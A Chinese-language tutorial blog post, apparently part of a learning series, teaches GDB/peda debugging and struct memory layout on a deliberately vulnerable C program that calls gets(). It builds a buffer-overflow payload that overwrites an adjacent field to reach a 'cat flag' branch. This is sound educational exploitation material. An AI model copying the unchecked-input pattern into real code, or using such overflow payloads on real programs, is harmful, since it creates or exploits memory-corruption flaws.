这将是一个连载,也是我的学习过程的记录,有任何问题麻烦拉到页面最下方,使用评论功能告诉我。

贵司的猫猫 哞哞 镇楼

首先假设已经有了 C 语言的基础知识,还有简单的汇编和了解内存栈结构,如果这些也不懂,还是需要先回去学习基础知识。

以后不特殊说明的话,环境都是 Ubuntu 16.04.2 x86-64 gcc version 5.4.0 GDB version 7.11.1

安装 peda

peda 是 GDB 的一个插件,提供了很多方便我们调试和漏洞利用的功能。源码和安装方式在 https://github.com/longld/peda

下面的代码我也忘了来源了,反正是充满了暴力气息的一段代码。

#include <stdio.h>

struct Student {
    char name[64];
    char s;
    int birth;
};

int main(int argc, char **argv) {
    struct Student student;
    student.s = 'c';
    printf("What's Your Birth?\n");
    scanf("%d", &student.birth);
    while (getchar() != '\n') ;
    if (student.birth == 1926) {
        printf("You Cannot Born In 1926!\n");
        return 0;
    }
    printf("What's Your Name?\n");
    gets(student.name);
    printf("You Are Born In %d\n", student.birth);
    if (student.birth == 1926) {
        printf("You Shall Have The Flag.\n");
        system("cat flag");
    } else {
        printf("You Are Naive.\n");
        printf("You Spend One Second Here.\n");
    }
    return 0;
}

gcc -g -O0 -o vuln main.c 编译

GDB调试指令

gdb ./vuln

如果成功安装了peda,就可以看到 gdb-peda$ 的提示了。

常用的指令就不多说了,比如 list(l) break(b) 等。

通过 l 浏览了代码,就可以使用 b $line_number 的方式下断点了,比如想让代码停在 14 行,然后看 student 变量的内存分布,那我们可以输入b 14

通过 info breakpoints 可以看到所有的断点。

r 指令是运行这个调试程序,然后看到进程成功的停在了我们的断点处。

gdb-peda$ r

...

Breakpoint 1, main (argc=0x1, argv=0x7fffffffe568) at main.c:14
14	    printf("What's Your Birth?\n");

至于下面的一堆汇编输出,我们后面再说。

万物皆可 print

下断点就是为了查看 student 结构体的内存分布,C 语言里面很多函数在这里也是类似的用法的。

gdb-peda$ p sizeof(student)
$1 = 0x48
gdb-peda$ p sizeof(student.birth)
$2 = 0x4
gdb-peda$ p sizeof(student.name)
$3 = 0x40
gdb-peda$ p sizeof(student.s)
$4 = 0x1

gdb-peda$ p &student
$5 = (struct Student *) 0x7fffffffe2f0
gdb-peda$ p &(student.name)
$6 = (char (*)[64]) 0x7fffffffe2f0
gdb-peda$ p &(student.s)
$7 = 0x7fffffffe330 "c\344\377\377\205\a"
gdb-peda$ p &(student.birth)
$8 = (int *) 0x7fffffffe334

可以看到 student 结构体是 72 个字节大小,student 结构体和 student.name 起始内存地址都是 0x7fffffffe2f0,因为在内存中本来就没有结构体这种东西。

至于为什么是 72 个字节,而不是 4+64+1=69 个字节呢?

那是因为 s 成员是 char 类型的,1 个字节,如果接下来就存储 birth,那么这就是一个跨边界的数据,计算机可能需要更多的指令才能读取,为了加快内存访问速度进行了内存对齐操作,把 s 所在的内存后面空了 3 个字节,关于内存对齐,可以参考 https://github.com/ludx/The-Lost-Art-of-C-Structure-Packing

查看指定的内存地址的数据

这里使用的是 x 指令,它有三个可选参数 x/<n/f/u> $addr

n 是一个正整数,表示需要显示的内存单元的个数,也就是说从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的 u 定义。

f 表示显示的格式,比如 x 按十六进制格式显示变量, d 是按十进制格式显示变量。

u 表示从当前地址往后请求的字节数,如果不指定的话,GDB 默认是 4 个 bytes。u参数可以用下面的字符来代替,b 表示单字节,h 表示双字节,w 表示四字节,g 表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。

为了打印 student 结构体的内存分布,先在第 21 行下断点,然后让进程继续执行直到下一个断点。

gdb-peda$ b 21
Breakpoint 2 at 0x40079d: file main.c, line 21.
gdb-peda$ c
Continuing.
What's Your Name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

...

Legend: code, data, rodata, value

Breakpoint 2, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
21	    printf("You Are Born In %d\n", student.birth);

然后就可以

gdb-peda$ x/72xb &student
0x7fffffffe2f0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe2f8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe300:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe308:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe310:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe318:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe320:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe328:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x00
0x7fffffffe330:	0x63	0xe4	0xff	0xff	0x85	0x07	0x00	0x00

前 64 个字节就是字母 A 的 ASCII 0x41,然后是 0x00 字符串结尾,然后是代码中写死的 c 字母 0x63,然后跳过三个字节之后还剩四个字节,就是一个 int 数字。

从最后 4 个字节分布可以看出来,对于 int 0x00000785 这种多字节变量,它们的低字节在内存低地址处,高字节在内存高地址处,这种分布方式称为小端序,还有的机器是反过来的,叫做大端序。对于 char 这种单字节变量和 student.name 这种数组来说,没有大小端的问题,

分析内存结构

这里问题就很清晰了,student.name 数组没有限制长度,如果我们输入超过 63 位的话,多出来的内容将覆盖 student.s 的内存(注意字符串的结尾),如果输入再长的话,就会覆盖 student.birth 的内存空间。

所以我们可以确定 student.name 的输入长度是 70 字节,前面 68 字节可以是任意构造,只要认真构造最后两个字节,让 student.birth 的内存为 0x00000786 就可以,所以我们构造的payload就是AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x07

然后这种特殊的字符我们都可以使用 Python 输入到文件中,然后重定向输入的

➜  Desktop python -c "print '1234\n' + 'A' * 68 + '\x86\x07\n'" > 1.in
➜  Desktop ./vuln < 1.in
What's Your Birth?
What's Your Name?
You Are Born In 1926
You Shall Have Flag.
THIS_IS_FLAG

GDB 也可以使用这种重定向输入的

gdb-peda$ b 21
Breakpoint 1 at 0x40079d: file main.c, line 21.
gdb-peda$ r < 1.in
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < 1.in
What's Your Birth?
What's Your Name?

...

Breakpoint 1, main (argc=0x1, argv=0x7fffffffe428) at main.c:21
21	    printf("You Are Born In %d\n", student.birth);
gdb-peda$ x/72xb &student
0x7fffffffe2f0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe2f8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe300:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe308:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe310:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe318:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe320:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe328:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe330:	0x41	0x41	0x41	0x41	0x86	0x07	0x00	0x00

可以看到我们控制了 student 的内存,让代码进入了指定的分支。